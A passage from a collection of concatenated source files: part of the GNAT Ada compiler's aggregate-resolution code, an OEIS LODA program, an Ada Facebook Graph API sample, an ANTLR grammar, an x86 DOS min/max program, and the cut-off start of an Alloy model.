-- compute independently the list of components of the ancestor type and
-- of the expected type.
procedure Resolve_Extension_Aggregate (N : Node_Id; Typ : Entity_Id) is
A : constant Node_Id := Ancestor_Part (N);
A_Type : Entity_Id;
I : Interp_Index;
It : Interp;
Imm_Type : Entity_Id;
function Valid_Ancestor_Type return Boolean;
-- Verify that the type of the ancestor part is a non-private ancestor
-- of the expected type.
function Valid_Ancestor_Type return Boolean is
Imm_Type : Entity_Id;
begin
Imm_Type := Base_Type (Typ);
while Is_Derived_Type (Imm_Type)
and then Etype (Imm_Type) /= Base_Type (A_Type)
loop
Imm_Type := Etype (Base_Type (Imm_Type));
end loop;
if Etype (Imm_Type) /= Base_Type (A_Type) then
Error_Msg_NE ("expect ancestor type of &", A, Typ);
return False;
else
return True;
end if;
end Valid_Ancestor_Type;
-- Start of processing for Resolve_Extension_Aggregate
begin
Analyze (A);
if not Is_Tagged_Type (Typ) then
Error_Msg_N ("type of extension aggregate must be tagged", N);
return;
elsif Is_Limited_Type (Typ) then
Error_Msg_N ("aggregate type cannot be limited", N);
return;
elsif Is_Class_Wide_Type (Typ) then
Error_Msg_N ("aggregate cannot be of a class-wide type", N);
return;
end if;
if Is_Entity_Name (A)
and then Is_Type (Entity (A))
then
A_Type := Get_Full_View (Entity (A));
Imm_Type := Base_Type (Typ);
if Valid_Ancestor_Type then
Set_Entity (A, A_Type);
Set_Etype (A, A_Type);
Validate_Ancestor_Part (N);
Resolve_Record_Aggregate (N, Typ);
end if;
elsif Nkind (A) /= N_Aggregate then
if Is_Overloaded (A) then
A_Type := Any_Type;
Get_First_Interp (A, I, It);
while Present (It.Typ) loop
if Is_Tagged_Type (It.Typ)
and then not Is_Limited_Type (It.Typ)
then
if A_Type /= Any_Type then
Error_Msg_N ("cannot resolve expression", A);
return;
else
A_Type := It.Typ;
end if;
end if;
Get_Next_Interp (I, It);
end loop;
if A_Type = Any_Type then
Error_Msg_N
("ancestor part must be non-limited tagged type", A);
return;
end if;
else
A_Type := Etype (A);
end if;
if Valid_Ancestor_Type then
Resolve (A, A_Type);
Check_Non_Static_Context (A);
Resolve_Record_Aggregate (N, Typ);
end if;
else
Error_Msg_N (" No unique type for this aggregate", A);
end if;
end Resolve_Extension_Aggregate;
------------------------------
-- Resolve_Record_Aggregate --
------------------------------
procedure Resolve_Record_Aggregate (N : Node_Id; Typ : Entity_Id) is
Regular_Aggr : constant Boolean := Nkind (N) /= N_Extension_Aggregate;
New_Assoc_List : List_Id := New_List;
New_Assoc : Node_Id;
-- New_Assoc_List is the newly built list of N_Component_Association
-- nodes. New_Assoc is one such N_Component_Association node in it.
-- Please note that while Assoc and New_Assoc contain the same
-- kind of nodes, they are used to iterate over two different
-- N_Component_Association lists.
Others_Etype : Entity_Id := Empty;
-- This variable is used to save the Etype of the last record component
-- that takes its value from the others choice. Its purpose is:
--
-- (a) make sure the others choice is useful
--
-- (b) make sure the type of all the components whose value is
-- subsumed by the others choice are the same.
--
-- This variable is updated as a side effect of function Get_Value
procedure Add_Association (Component : Entity_Id; Expr : Node_Id);
-- Builds a new N_Component_Association node which associates
-- Component to expression Expr and adds it to the new association
-- list New_Assoc_List being built.
function Discr_Present (Discr : Entity_Id) return Boolean;
-- If aggregate N is a regular aggregate this routine will return True.
-- Otherwise, if N is an extension aggreagte, Discr is a discriminant
-- whose value may already have been specified by N's ancestor part,
-- this routine checks whether this is indeed the case and if so
-- returns False, signaling that no value for Discr should appear in the
-- N's aggregate part. Also, in this case, the routine appends to
-- New_Assoc_List Discr the discriminant value specified in the ancestor
-- part.
function Get_Value
(Compon : Node_Id;
From : List_Id;
Consider_Others_Choice : Boolean := False)
return Node_Id;
-- Given a record component stored in parameter Compon, the
-- following function returns its value as it appears in the list
-- From, which is a list of N_Component_Association nodes. If no
-- component association has a choice for the searched component,
-- the value provided by the others choice is returned, if there
-- is one and Consider_Others_Choice is set to true. Otherwise
-- Empty is returned. If there is more than one component association
-- giving a value for the searched record component, an error message
-- is emitted and the first found value is returned.
--
-- If Consider_Others_Choice is set and the returned expression comes
-- from the others choice, then Others_Etype is set as a side effect.
-- An error message is emitted if the components taking their value
-- from the others choice do not have same type.
procedure Resolve_Aggr_Expr (Expr : Node_Id; Component : Node_Id);
-- Analyzes and resolves expression Expr against the Etype of the
-- Component. This routine also applies all appropriate checks to Expr.
-- It finally saves a Expr in the newly created association list that
-- will be attached to the final record aggregate. Note that if the
-- Parent pointer of Expr is not set then Expr was produced with a
-- New_copy_Tree or some such.
---------------------
-- Add_Association --
---------------------
procedure Add_Association (Component : Entity_Id; Expr : Node_Id) is
New_Assoc : Node_Id;
Choice_List : List_Id := New_List;
begin
Append (New_Occurrence_Of (Component, Sloc (Expr)), Choice_List);
New_Assoc :=
Make_Component_Association (Sloc (Expr),
Choices => Choice_List,
Expression => Expr);
Append (New_Assoc, New_Assoc_List);
end Add_Association;
-------------------
-- Discr_Present --
-------------------
function Discr_Present (Discr : Entity_Id) return Boolean is
Loc : Source_Ptr;
Ancestor : Node_Id;
Discr_Expr : Node_Id;
Ancestor_Typ : Entity_Id;
Orig_Discr : Entity_Id;
D : Entity_Id;
D_Val : Elmt_Id := No_Elmt; -- stop junk warning
Ancestor_Is_Subtyp : Boolean;
begin
if Regular_Aggr then
return True;
end if;
Ancestor := Ancestor_Part (N);
Ancestor_Typ := Etype (Ancestor);
Loc := Sloc (Ancestor);
Ancestor_Is_Subtyp :=
Is_Entity_Name (Ancestor) and then Is_Type (Entity (Ancestor));
-- If the ancestor part has no discriminants clearly N's aggregate
-- part must provide a value for Discr.
if not Has_Discriminants (Ancestor_Typ) then
return True;
-- If the ancestor part is an unconstrained subtype mark then the
-- Discr must be present in N's aggregate part.
elsif Ancestor_Is_Subtyp
and then not Is_Constrained (Entity (Ancestor))
then
return True;
end if;
-- Now look to see if Discr was specified in the ancestor part.
Orig_Discr := Original_Record_Component (Discr);
D := First_Discriminant (Ancestor_Typ);
if Ancestor_Is_Subtyp then
D_Val := First_Elmt (Discriminant_Constraint (Entity (Ancestor)));
end if;
while Present (D) loop
-- If Ancestor has already specified Disc value than
-- insert its value in the final aggregate.
if Original_Record_Component (D) = Orig_Discr then
if Ancestor_Is_Subtyp then
Discr_Expr := New_Copy_Tree (Node (D_Val));
else
Discr_Expr :=
Make_Selected_Component (Loc,
Prefix => Duplicate_Subexpr (Ancestor),
Selector_Name => New_Occurrence_Of (Discr, Loc));
end if;
Resolve_Aggr_Expr (Discr_Expr, Discr);
return False;
end if;
Next_Discriminant (D);
if Ancestor_Is_Subtyp then
Next_Elmt (D_Val);
end if;
end loop;
return True;
end Discr_Present;
---------------
-- Get_Value --
---------------
function Get_Value
(Compon : Node_Id;
From : List_Id;
Consider_Others_Choice : Boolean := False)
return Node_Id
is
Assoc : Node_Id;
Expr : Node_Id := Empty;
Selector_Name : Node_Id;
begin
if Present (From) then
Assoc := First (From);
else
return Empty;
end if;
while Present (Assoc) loop
Selector_Name := First (Choices (Assoc));
while Present (Selector_Name) loop
if Nkind (Selector_Name) = N_Others_Choice then
if Consider_Others_Choice and then No (Expr) then
if Present (Others_Etype) and then
Base_Type (Others_Etype) /= Base_Type (Etype (Compon))
then
Error_Msg_N ("components in OTHERS choice must " &
"have same type", Selector_Name);
end if;
Others_Etype := Etype (Compon);
-- We need to duplicate the expression for each
-- successive component covered by the others choice.
-- If the expression is itself an array aggregate with
-- "others", its subtype must be obtained from the
-- current component, and therefore it must be (at least
-- partly) reanalyzed.
if Analyzed (Expression (Assoc)) then
Expr := New_Copy_Tree (Expression (Assoc));
if Nkind (Expr) = N_Aggregate
and then Is_Array_Type (Etype (Expr))
and then No (Expressions (Expr))
and then
Nkind (First (Choices
(First (Component_Associations (Expr)))))
= N_Others_Choice
then
Set_Analyzed (Expr, False);
end if;
return Expr;
else
return Expression (Assoc);
end if;
end if;
elsif Chars (Compon) = Chars (Selector_Name) then
if No (Expr) then
-- We need to duplicate the expression when several
-- components are grouped together with a "|" choice.
-- For instance "filed1 | filed2 => Expr"
if Present (Next (Selector_Name)) then
Expr := New_Copy_Tree (Expression (Assoc));
else
Expr := Expression (Assoc);
end if;
else
Error_Msg_NE
("more than one value supplied for &",
Selector_Name, Compon);
end if;
end if;
Next (Selector_Name);
end loop;
Next (Assoc);
end loop;
return Expr;
end Get_Value;
-----------------------
-- Resolve_Aggr_Expr --
-----------------------
procedure Resolve_Aggr_Expr (Expr : Node_Id; Component : Node_Id) is
New_C : Entity_Id := Component;
Expr_Type : Entity_Id := Empty;
function Has_Expansion_Delayed (Expr : Node_Id) return Boolean;
-- If the expression is an aggregate (possibly qualified) then its
-- expansion is delayed until the enclosing aggregate is expanded
-- into assignments. In that case, do not generate checks on the
-- expression, because they will be generated later, and will other-
-- wise force a copy (to remove side-effects) that would leave a
-- dynamic-sized aggregate in the code, something that gigi cannot
-- handle.
Relocate : Boolean;
-- Set to True if the resolved Expr node needs to be relocated
-- when attached to the newly created association list. This node
-- need not be relocated if its parent pointer is not set.
-- In fact in this case Expr is the output of a New_Copy_Tree call.
-- if Relocate is True then we have analyzed the expression node
-- in the original aggregate and hence it needs to be relocated
-- when moved over the new association list.
function Has_Expansion_Delayed (Expr : Node_Id) return Boolean is
Kind : constant Node_Kind := Nkind (Expr);
begin
return ((Kind = N_Aggregate
or else Kind = N_Extension_Aggregate)
and then Present (Etype (Expr))
and then Is_Record_Type (Etype (Expr))
and then Expansion_Delayed (Expr))
or else (Kind = N_Qualified_Expression
and then Has_Expansion_Delayed (Expression (Expr)));
end Has_Expansion_Delayed;
-- Start of processing for Resolve_Aggr_Expr
begin
-- If the type of the component is elementary or the type of the
-- aggregate does not contain discriminants, use the type of the
-- component to resolve Expr.
if Is_Elementary_Type (Etype (Component))
or else not Has_Discriminants (Etype (N))
then
Expr_Type := Etype (Component);
-- Otherwise we have to pick up the new type of the component from
-- the new costrained subtype of the aggregate. In fact components
-- which are of a composite type might be constrained by a
-- discriminant, and we want to resolve Expr against the subtype were
-- all discriminant occurrences are replaced with their actual value.
else
New_C := First_Component (Etype (N));
while Present (New_C) loop
if Chars (New_C) = Chars (Component) then
Expr_Type := Etype (New_C);
exit;
end if;
Next_Component (New_C);
end loop;
pragma Assert (Present (Expr_Type));
-- For each range in an array type where a discriminant has been
-- replaced with the constraint, check that this range is within
-- the range of the base type. This checks is done in the
-- _init_proc for regular objects, but has to be done here for
-- aggregates since no _init_proc is called for them.
if Is_Array_Type (Expr_Type) then
declare
Index : Node_Id := First_Index (Expr_Type);
-- Range of the current constrained index in the array.
Orig_Index : Node_Id := First_Index (Etype (Component));
-- Range corresponding to the range Index above in the
-- original unconstrained record type. The bounds of this
-- range may be governed by discriminants.
Unconstr_Index : Node_Id := First_Index (Etype (Expr_Type));
-- Range corresponding to the range Index above for the
-- unconstrained array type. This range is needed to apply
-- range checks.
begin
while Present (Index) loop
if Depends_On_Discriminant (Orig_Index) then
Apply_Range_Check (Index, Etype (Unconstr_Index));
end if;
Next_Index (Index);
Next_Index (Orig_Index);
Next_Index (Unconstr_Index);
end loop;
end;
end if;
end if;
-- If the Parent pointer of Expr is not set, Expr is an expression
-- duplicated by New_Tree_Copy (this happens for record aggregates
-- that look like (Field1 | Filed2 => Expr) or (others => Expr)).
-- Such a duplicated expression must be attached to the tree
-- before analysis and resolution to enforce the rule that a tree
-- fragment should never be analyzed or resolved unless it is
-- attached to the current compilation unit.
if No (Parent (Expr)) then
Set_Parent (Expr, N);
Relocate := False;
else
Relocate := True;
end if;
Analyze_And_Resolve (Expr, Expr_Type);
Check_Non_Static_Context (Expr);
if not Has_Expansion_Delayed (Expr) then
Aggregate_Constraint_Checks (Expr, Expr_Type);
end if;
if Raises_Constraint_Error (Expr) then
Set_Raises_Constraint_Error (N);
end if;
if Relocate then
Add_Association (New_C, Relocate_Node (Expr));
else
Add_Association (New_C, Expr);
end if;
end Resolve_Aggr_Expr;
-- Resolve_Record_Aggregate local variables
Assoc : Node_Id;
-- N_Component_Association node belonging to the input aggregate N
Expr : Node_Id;
Positional_Expr : Node_Id;
Component : Entity_Id;
Component_Elmt : Elmt_Id;
Components : Elist_Id := New_Elmt_List;
-- Components is the list of the record components whose value must
-- be provided in the aggregate. This list does include discriminants.
-- Start of processing for Resolve_Record_Aggregate
begin
-- We may end up calling Duplicate_Subexpr on expressions that are
-- attached to New_Assoc_List. For this reason we need to attach it
-- to the tree by setting its parent pointer to N. This parent point
-- will change in STEP 8 below.
Set_Parent (New_Assoc_List, N);
-- STEP 1: abstract type and null record verification
if Is_Abstract (Typ) then
Error_Msg_N ("type of aggregate cannot be abstract", N);
end if;
if No (First_Entity (Typ)) and then Null_Record_Present (N) then
Set_Etype (N, Typ);
return;
elsif Present (First_Entity (Typ))
and then Null_Record_Present (N)
and then not Is_Tagged_Type (Typ)
then
Error_Msg_N ("record aggregate cannot be null", N);
return;
elsif No (First_Entity (Typ)) then
Error_Msg_N ("record aggregate must be null", N);
return;
end if;
-- STEP 2: Verify aggregate structure
Step_2 : declare
Selector_Name : Node_Id;
Bad_Aggregate : Boolean := False;
begin
if Present (Component_Associations (N)) then
Assoc := First (Component_Associations (N));
else
Assoc := Empty;
end if;
while Present (Assoc) loop
Selector_Name := First (Choices (Assoc));
while Present (Selector_Name) loop
if Nkind (Selector_Name) = N_Identifier then
null;
elsif Nkind (Selector_Name) = N_Others_Choice then
if Selector_Name /= First (Choices (Assoc))
or else Present (Next (Selector_Name))
then
Error_Msg_N ("OTHERS must appear alone in a choice list",
Selector_Name);
return;
elsif Present (Next (Assoc)) then
Error_Msg_N ("OTHERS must appear last in an aggregate",
Selector_Name);
return;
end if;
else
Error_Msg_N
("selector name should be identifier or OTHERS",
Selector_Name);
Bad_Aggregate := True;
end if;
Next (Selector_Name);
end loop;
Next (Assoc);
end loop;
if Bad_Aggregate then
return;
end if;
end Step_2;
-- STEP 3: Find discriminant Values
Step_3 : declare
Discrim : Entity_Id;
Missing_Discriminants : Boolean := False;
begin
if Present (Expressions (N)) then
Positional_Expr := First (Expressions (N));
else
Positional_Expr := Empty;
end if;
if Has_Discriminants (Typ) then
Discrim := First_Discriminant (Typ);
else
Discrim := Empty;
end if;
-- First find the discriminant values in the positional components
while Present (Discrim) and then Present (Positional_Expr) loop
if Discr_Present (Discrim) then
Resolve_Aggr_Expr (Positional_Expr, Discrim);
Next (Positional_Expr);
end if;
if Present (Get_Value (Discrim, Component_Associations (N))) then
Error_Msg_NE
("more than one value supplied for discriminant&",
N, Discrim);
end if;
Next_Discriminant (Discrim);
end loop;
-- Find remaining discriminant values, if any, among named components
while Present (Discrim) loop
Expr := Get_Value (Discrim, Component_Associations (N), True);
if not Discr_Present (Discrim) then
if Present (Expr) then
Error_Msg_NE
("more than one value supplied for discriminant&",
N, Discrim);
end if;
elsif No (Expr) then
Error_Msg_NE
("no value supplied for discriminant &", N, Discrim);
Missing_Discriminants := True;
else
Resolve_Aggr_Expr (Expr, Discrim);
end if;
Next_Discriminant (Discrim);
end loop;
if Missing_Discriminants then
return;
end if;
-- At this point and until the beginning of STEP 6, New_Assoc_List
-- contains only the discriminants and their values.
end Step_3;
-- STEP 4: Set the Etype of the record aggregate
-- ??? This code is pretty much a copy of Sem_Ch3.Build_Subtype. That
-- routine should really be exported in sem_util or some such and used
-- in sem_ch3 and here rather than have a copy of the code which is a
-- maintenance nightmare.
-- ??? Performace WARNING. The current implementation creates a new
-- itype for all aggregates whose base type is discriminated.
-- This means that for record aggregates nested inside an array
-- aggregate we will create a new itype for each record aggregate
-- if the array cmponent type has discriminants. For large aggregates
-- this may be a problem. What should be done in this case is
-- to reuse itypes as much as possible.
if Has_Discriminants (Typ) then
Build_Constrained_Itype : declare
Loc : constant Source_Ptr := Sloc (N);
Indic : Node_Id;
Subtyp_Decl : Node_Id;
Def_Id : Entity_Id;
C : List_Id := New_List;
begin
New_Assoc := First (New_Assoc_List);
while Present (New_Assoc) loop
Append (Duplicate_Subexpr (Expression (New_Assoc)), To => C);
Next (New_Assoc);
end loop;
Indic :=
Make_Subtype_Indication (Loc,
Subtype_Mark => New_Occurrence_Of (Base_Type (Typ), Loc),
Constraint => Make_Index_Or_Discriminant_Constraint (Loc, C));
Def_Id := Create_Itype (Ekind (Typ), N);
Subtyp_Decl :=
Make_Subtype_Declaration (Loc,
Defining_Identifier => Def_Id,
Subtype_Indication => Indic);
Set_Parent (Subtyp_Decl, Parent (N));
-- Itypes must be analyzed with checks off (see itypes.ads).
Analyze (Subtyp_Decl, Suppress => All_Checks);
Set_Etype (N, Def_Id);
Check_Static_Discriminated_Subtype
(Def_Id, Expression (First (New_Assoc_List)));
end Build_Constrained_Itype;
else
Set_Etype (N, Typ);
end if;
-- STEP 5: Get remaining components according to discriminant values
Step_5 : declare
Record_Def : Node_Id;
Parent_Typ : Entity_Id;
Root_Typ : Entity_Id;
Parent_Typ_List : Elist_Id;
Parent_Elmt : Elmt_Id;
Errors_Found : Boolean := False;
Dnode : Node_Id;
begin
if Is_Derived_Type (Typ) and then Is_Tagged_Type (Typ) then
Parent_Typ_List := New_Elmt_List;
-- If this is an extension aggregate, the component list must
-- include all components that are not in the given ancestor
-- type. Otherwise, the component list must include components
-- of all ancestors.
if Nkind (N) = N_Extension_Aggregate then
Root_Typ := Base_Type (Etype (Ancestor_Part (N)));
else
Root_Typ := Root_Type (Typ);
if Nkind (Parent (Base_Type (Root_Typ)))
= N_Private_Type_Declaration
then
Error_Msg_NE
("type of aggregate has private ancestor&!",
N, Root_Typ);
Error_Msg_N ("must use extension aggregate!", N);
return;
end if;
Dnode := Declaration_Node (Base_Type (Root_Typ));
-- If we don't get a full declaration, then we have some
-- error which will get signalled later so skip this part.
if Nkind (Dnode) = N_Full_Type_Declaration then
Record_Def := Type_Definition (Dnode);
Gather_Components (Typ,
Component_List (Record_Def),
Governed_By => New_Assoc_List,
Into => Components,
Report_Errors => Errors_Found);
end if;
end if;
Parent_Typ := Base_Type (Typ);
while Parent_Typ /= Root_Typ loop
Prepend_Elmt (Parent_Typ, To => Parent_Typ_List);
Parent_Typ := Etype (Parent_Typ);
if (Nkind (Parent (Base_Type (Parent_Typ))) =
N_Private_Type_Declaration
or else Nkind (Parent (Base_Type (Parent_Typ))) =
N_Private_Extension_Declaration)
then
if Nkind (N) /= N_Extension_Aggregate then
Error_Msg_NE
("type of aggregate has private ancestor&!",
N, Parent_Typ);
Error_Msg_N ("must use extension aggregate!", N);
return;
elsif Parent_Typ /= Root_Typ then
Error_Msg_NE
("ancestor part of aggregate must be private type&",
Ancestor_Part (N), Parent_Typ);
return;
end if;
end if;
end loop;
-- Now collect components from all other ancestors.
Parent_Elmt := First_Elmt (Parent_Typ_List);
while Present (Parent_Elmt) loop
Parent_Typ := Node (Parent_Elmt);
Record_Def := Type_Definition (Parent (Base_Type (Parent_Typ)));
Gather_Components (Empty,
Component_List (Record_Extension_Part (Record_Def)),
Governed_By => New_Assoc_List,
Into => Components,
Report_Errors => Errors_Found);
Next_Elmt (Parent_Elmt);
end loop;
else
Record_Def := Type_Definition (Parent (Base_Type (Typ)));
if Null_Present (Record_Def) then
null;
else
Gather_Components (Typ,
Component_List (Record_Def),
Governed_By => New_Assoc_List,
Into => Components,
Report_Errors => Errors_Found);
end if;
end if;
if Errors_Found then
return;
end if;
end Step_5;
-- STEP 6: Find component Values
Component := Empty;
Component_Elmt := First_Elmt (Components);
-- First scan the remaining positional associations in the aggregate.
-- Remember that at this point Positional_Expr contains the current
-- positional association if any is left after looking for discriminant
-- values in step 3.
while Present (Positional_Expr) and then Present (Component_Elmt) loop
Component := Node (Component_Elmt);
Resolve_Aggr_Expr (Positional_Expr, Component);
if Present (Get_Value (Component, Component_Associations (N))) then
Error_Msg_NE
("more than one value supplied for Component &", N, Component);
end if;
Next (Positional_Expr);
Next_Elmt (Component_Elmt);
end loop;
if Present (Positional_Expr) then
Error_Msg_N
("too many components for record aggregate", Positional_Expr);
end if;
-- Now scan for the named arguments of the aggregate
while Present (Component_Elmt) loop
Component := Node (Component_Elmt);
Expr := Get_Value (Component, Component_Associations (N), True);
if No (Expr) then
Error_Msg_NE ("no value supplied for component &!", N, Component);
else
Resolve_Aggr_Expr (Expr, Component);
end if;
Next_Elmt (Component_Elmt);
end loop;
-- STEP 7: check for invalid components + check type in choice list
Step_7 : declare
Selectr : Node_Id;
-- Selector name
Typech : Entity_Id;
-- Type of first component in choice list
begin
if Present (Component_Associations (N)) then
Assoc := First (Component_Associations (N));
else
Assoc := Empty;
end if;
Verification : while Present (Assoc) loop
Selectr := First (Choices (Assoc));
Typech := Empty;
if Nkind (Selectr) = N_Others_Choice then
if No (Others_Etype) then
Error_Msg_N
("OTHERS must represent at least one component", Selectr);
end if;
exit Verification;
end if;
while Present (Selectr) loop
New_Assoc := First (New_Assoc_List);
while Present (New_Assoc) loop
Component := First (Choices (New_Assoc));
exit when Chars (Selectr) = Chars (Component);
Next (New_Assoc);
end loop;
-- If no association, this is not a legal component of
-- of the type in question, except if this is an internal
-- component supplied by a previous expansion.
if No (New_Assoc) then
if Chars (Selectr) /= Name_uTag
and then Chars (Selectr) /= Name_uParent
and then Chars (Selectr) /= Name_uController
then
if not Has_Discriminants (Typ) then
Error_Msg_Node_2 := Typ;
Error_Msg_N
("& is not a component of}",
Selectr);
else
Error_Msg_N
("& is not a component of the aggregate subtype",
Selectr);
end if;
Check_Misspelled_Component (Components, Selectr);
end if;
elsif No (Typech) then
Typech := Base_Type (Etype (Component));
elsif Typech /= Base_Type (Etype (Component)) then
Error_Msg_N
("components in choice list must have same type", Selectr);
end if;
Next (Selectr);
end loop;
Next (Assoc);
end loop Verification;
end Step_7;
-- STEP 8: replace the original aggregate
Step_8 : declare
New_Aggregate : Node_Id := New_Copy (N);
begin
Set_Expressions (New_Aggregate, No_List);
Set_Etype (New_Aggregate, Etype (N));
Set_Component_Associations (New_Aggregate, New_Assoc_List);
Rewrite (N, New_Aggregate);
end Step_8;
end Resolve_Record_Aggregate;
---------------------
-- Sort_Case_Table --
---------------------
procedure Sort_Case_Table (Case_Table : in out Case_Table_Type) is
L : Int := Case_Table'First;
U : Int := Case_Table'Last;
K : Int;
J : Int;
T : Case_Bounds;
begin
K := L;
while K /= U loop
T := Case_Table (K + 1);
J := K + 1;
while J /= L
and then Expr_Value (Case_Table (J - 1).Choice_Lo) >
Expr_Value (T.Choice_Lo)
loop
Case_Table (J) := Case_Table (J - 1);
J := J - 1;
end loop;
Case_Table (J) := T;
K := K + 1;
end loop;
end Sort_Case_Table;
end Sem_Aggr;
|
oeis/108/A108898.asm | neoneye/loda-programs | 11 | 84160 | ; A108898: a(n+3) = 3*a(n+2) - 2*a(n), a(0) = -1, a(1) = 1, a(2) = 3.
; -1,1,3,11,31,87,239,655,1791,4895,13375,36543,99839,272767,745215,2035967,5562367,15196671,41518079,113429503,309895167,846649343,2313089023,6319476735,17265131519,47169216511,128868696063,352075825151,961889042431,2627929735167,7179637555199,19615134580735,53589544271871,146409357705215,399997803954175,1092814323318783,2985624254545919,8156877155729407,22285002820550655,60883759952560127,166337525546221567,454442570997563391,1241560193087569919,3392005528170266623,9267131442515673087
seq $0,2605 ; a(n) = 2*(a(n-1) + a(n-2)), a(0) = 0, a(1) = 1.
mul $0,2
sub $0,1
|
samples/facebook.adb | RREE/ada-util | 60 | 2555 | -----------------------------------------------------------------------
-- facebook -- Get information about a Facebook user using the Facebook API
-- Copyright (C) 2012, 2014 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Text_IO;
with Ada.Command_Line;
with Ada.Strings.Unbounded;
with Util.Http.Clients.AWS;
with Util.Http.Rest;
with Mapping;
-- This example shows how to invoke a REST service, retrieve and extract a JSON content
-- into some Ada record. It uses the Facebook Graph API which does not need any
-- authentication (ie, the public Facebook API).
procedure Facebook is
procedure Print (P : in Mapping.Person);
procedure Print (P : in Mapping.Person) is
use Ada.Strings.Unbounded;
begin
Ada.Text_IO.Put_Line ("Id : " & Long_Long_Integer'Image (P.Id));
Ada.Text_IO.Put_Line ("Name : " & To_String (P.Name));
Ada.Text_IO.Put_Line ("First name : " & To_String (P.First_Name));
Ada.Text_IO.Put_Line ("Last name : " & To_String (P.Last_Name));
Ada.Text_IO.Put_Line ("Username : " & To_String (P.Username));
Ada.Text_IO.Put_Line ("Gender : " & To_String (P.Gender));
Ada.Text_IO.Put_Line ("Link : " & To_String (P.Link));
end Print;
procedure Get_User is new Util.Http.Rest.Rest_Get (Mapping.Person_Mapper);
Count : constant Natural := Ada.Command_Line.Argument_Count;
-- Mapping for the Person record.
Person_Mapping : aliased Mapping.Person_Mapper.Mapper;
begin
if Count = 0 then
Ada.Text_IO.Put_Line ("Usage: facebook username ...");
Ada.Text_IO.Put_Line ("Example: facebook btaylor");
return;
end if;
Person_Mapping.Add_Mapping ("id", Mapping.FIELD_ID);
Person_Mapping.Add_Mapping ("name", Mapping.FIELD_NAME);
Person_Mapping.Add_Mapping ("first_name", Mapping.FIELD_FIRST_NAME);
Person_Mapping.Add_Mapping ("last_name", Mapping.FIELD_LAST_NAME);
Person_Mapping.Add_Mapping ("link", Mapping.FIELD_LINK);
Person_Mapping.Add_Mapping ("username", Mapping.FIELD_USER_NAME);
Person_Mapping.Add_Mapping ("gender", Mapping.FIELD_GENDER);
Util.Http.Clients.AWS.Register;
for I in 1 .. Count loop
declare
URI : constant String := Ada.Command_Line.Argument (I);
P : aliased Mapping.Person;
begin
Get_User (URI => "https://graph.facebook.com/" & URI,
Mapping => Person_Mapping'Unchecked_Access,
Into => P'Unchecked_Access);
Print (P);
end;
end loop;
end Facebook;
|
legend-engine-language-pure-grammar/src/main/antlr4/org/finos/legend/engine/language/pure/grammar/from/antlr4/mapping/aggregationAware/AggregationAwareParserGrammar.g4 | inahanninger-gs/legend-engine | 0 | 7093 | <reponame>inahanninger-gs/legend-engine<gh_stars>0
parser grammar AggregationAwareParserGrammar;
import M3ParserGrammar;
options
{
tokenVocab = AggregationAwareLexerGrammar;
}
// -------------------------------------- IDENTIFIER --------------------------------------
identifier: VALID_STRING | STRING
| ALL | LET | ALL_VERSIONS | ALL_VERSIONS_IN_RANGE // from M3Parser
;
// -------------------------------------- DEFINITION --------------------------------------
aggregateSpecification: CAN_AGGREGATE BOOLEAN COMMA
GROUP_BY_FUNCTIONS
PAREN_OPEN
groupByFunctionSpecifications?
PAREN_CLOSE COMMA
AGGREGATE_VALUES
PAREN_OPEN
aggregationFunctionSpecifications?
PAREN_CLOSE
;
groupByFunctionSpecifications: groupByFunctionSpecification (COMMA groupByFunctionSpecification)*
;
groupByFunctionSpecification: combinedExpression
;
aggregationFunctionSpecifications: aggregationFunctionSpecification (COMMA aggregationFunctionSpecification)*
;
aggregationFunctionSpecification: PAREN_OPEN
MAP_FN COLON combinedExpression COMMA AGGREGATE_FN COLON combinedExpression
PAREN_CLOSE
;
|
10 - Find Min & Max of 10 Unsigned Decimal Byte-Numbers/prog10.asm | xei/x86-assembly-dos-samples | 0 | 9592 | <reponame>xei/x86-assembly-dos-samples<filename>10 - Find Min & Max of 10 Unsigned Decimal Byte-Numbers/prog10.asm
; Program 01 - Find Min/Max of 10 Unsigned Decimal Byte-Numbers
; Written by <NAME> (<EMAIL>)
; June, 2011
TITLE Find Min/Max of 10 Unsigned Decimal Byte-Numbers
StkSeg SEGMENT para stack 'stack'
DB 64 DUP (?)
StkSeg ENDS
DtaSeg SEGMENT para private 'data'
Nums DB 23, 12, 34, 45, 56, 67, 78, 89, 100, 50
ORG 0010h
Min DB ?
Max DB ?
DtaSeg ENDS
CodSeg SEGMENT para private 'code'
Main PROC near
ASSUME cs:CodSeg, ds:DtaSeg, ss:StkSeg
mov ax, DtaSeg
mov ds, ax
mov al, Nums ; Minimum
mov ah, Nums ; Maximum
mov bx, OFFSET Nums+1
mov cx, 9
Start: mov dl, [bx] ; 'dl' is temp register for speed up by replace
; register indirect with register addressing mode.
cmp al, dl
jbe Pass1 ; jle for signed numbers
mov al, dl
Pass1: cmp ah, dl
jae Pass2 ; jge for signed numbers
mov ah, dl
Pass2: inc bx
loop Start
mov Min, al
mov Max, ah
mov ax, 4C00h
int 21h
Main ENDP
CodSeg ENDS
END Main |
alloy4fun_models/trashltl/models/5/hRgngih9gi83QnSMd.als | Kaixi26/org.alloytools.alloy | 0 | 2095 | open main
pred idhRgngih9gi83QnSMd_prop6 {
all f:File | f in Trash implies always f in Trash
}
pred __repair { idhRgngih9gi83QnSMd_prop6 }
check __repair { idhRgngih9gi83QnSMd_prop6 <=> prop6o } |
programs/oeis/313/A313045.asm | karttu/loda | 1 | 240539 | <filename>programs/oeis/313/A313045.asm
; A313045: Coordination sequence Gal.6.258.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,9,14,18,23,27,32,36,41,46,50,54,59,64,68,73,77,82,86,91,96,100,104,109,114,118,123,127,132,136,141,146,150,154,159,164,168,173,177,182,186,191,196,200,204,209,214,218,223
mov $2,$0
mov $3,$0
mul $0,8
mov $1,$0
sub $0,1
div $0,11
add $0,1
mul $1,5
div $1,22
add $1,$0
add $1,$3
add $1,$2
|
alloy4fun_models/trashltl/models/7/7xQBdrNTWtqoKZP5t.als | Kaixi26/org.alloytools.alloy | 0 | 2119 | open main
pred id7xQBdrNTWtqoKZP5t_prop8 {
